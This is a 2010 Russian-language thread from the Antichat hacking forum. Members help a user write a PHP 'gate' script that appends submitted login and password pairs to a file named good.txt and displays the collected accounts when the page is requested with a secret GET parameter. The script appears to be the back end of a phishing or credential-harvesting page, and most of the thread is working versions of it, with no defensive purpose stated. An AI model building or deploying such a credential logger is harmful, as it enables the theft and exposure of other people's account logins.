Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.02.2010, 19:20
|
|
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме: 500264
Репутация:
69
|
|
yнужен скрипт [PHP]
например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php
файл Accounts.txt cсодержит данные следующего типа:
Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs
???
|
|
|

25.02.2010, 19:30
|
|
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме: 1455812
Репутация:
150
|
|
#1
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file = str_replace("\n",'<br />', file_get_contents('accounts.txt'));
echo $file;
}
?>
#2
PHP код:
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file = file("accounts.txt");
foreach($file as $line) {
echo $line."<br />";
}
}
?>
|
|
|

25.02.2010, 19:35
|
|
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме: 500264
Репутация:
69
|
|
вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать?
PHP код:
<?php
error_reporting(0);
$accs = 'good.txt';
$good = fopen($accs,"a+");
fwrite($good, "$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset($_GET['act']) && $_GET['act'] == 'show') {
$file = str_replace("\n",'<br />', file_get_contents('good.txt'));
echo $file;
}
?>
|
|
|

25.02.2010, 19:39
|
|
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме: 1455812
Репутация:
150
|
|
Поставь вначале проверку.
PHP код:
if(!empty($_POST['login']) && !empty($_POST['password'])) ...
Но будет пропускать пробелы.
|
|
|

25.02.2010, 20:17
|
|
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме: 500264
Репутация:
69
|
|
а теперь как бы все это совместить?))
|
|
|

25.02.2010, 20:55
|
|
Познающий
Регистрация: 29.05.2009
Сообщений: 55
Провел на форуме: 807573
Репутация:
7
|
|
Вот так )
PHP код:
<?php
error_reporting(0);
if (!empty($_POST[login]) or !empty($_POST[password])){
$accs = 'good.txt';
$good = fopen($accs,"a+");
fwrite($good, "$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset($_GET['act']) && $_GET['act'] == 'show') {
$file = str_replace("\n",'<br />', file_get_contents('good.txt'));
echo $file;
}
}
?>
ток поидее перенос строки будет \r\n а у тебя прост \n
|
|
|

25.02.2010, 20:59
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo nl2br(file_get_contents('accounts.txt'));
|
|
|

25.02.2010, 21:09
|
|
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме: 2308963
Репутация:
309
|
|
А не проще
PHP код:
<?php
if ($_POST[login] && $_POST[password])
{
...
}
|
|
|

25.02.2010, 23:50
|
|
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме: 1455812
Репутация:
150
|
|
Сообщение от mailbrush
Омг...
PHP код:
if(@$_GET['act']=='showaccs')
echo nl2br(file_get_contents('accounts.txt'));
омг
PHP код:
echo @$_GET['act']=='showaccs' ? nl2br(file_get_contents('pppp.txt')) : '' ;
|
|
|

25.02.2010, 23:54
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от LStr1ke
омг
PHP код:
echo @$_GET['act']=='showaccs' ? nl2br(file_get_contents('pppp.txt')) : '' ;
Омг
PHP код:
echo @$_GET['act']=='showaccs' ? nl2br(file_get_contents('pppp.txt')) : 0;
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|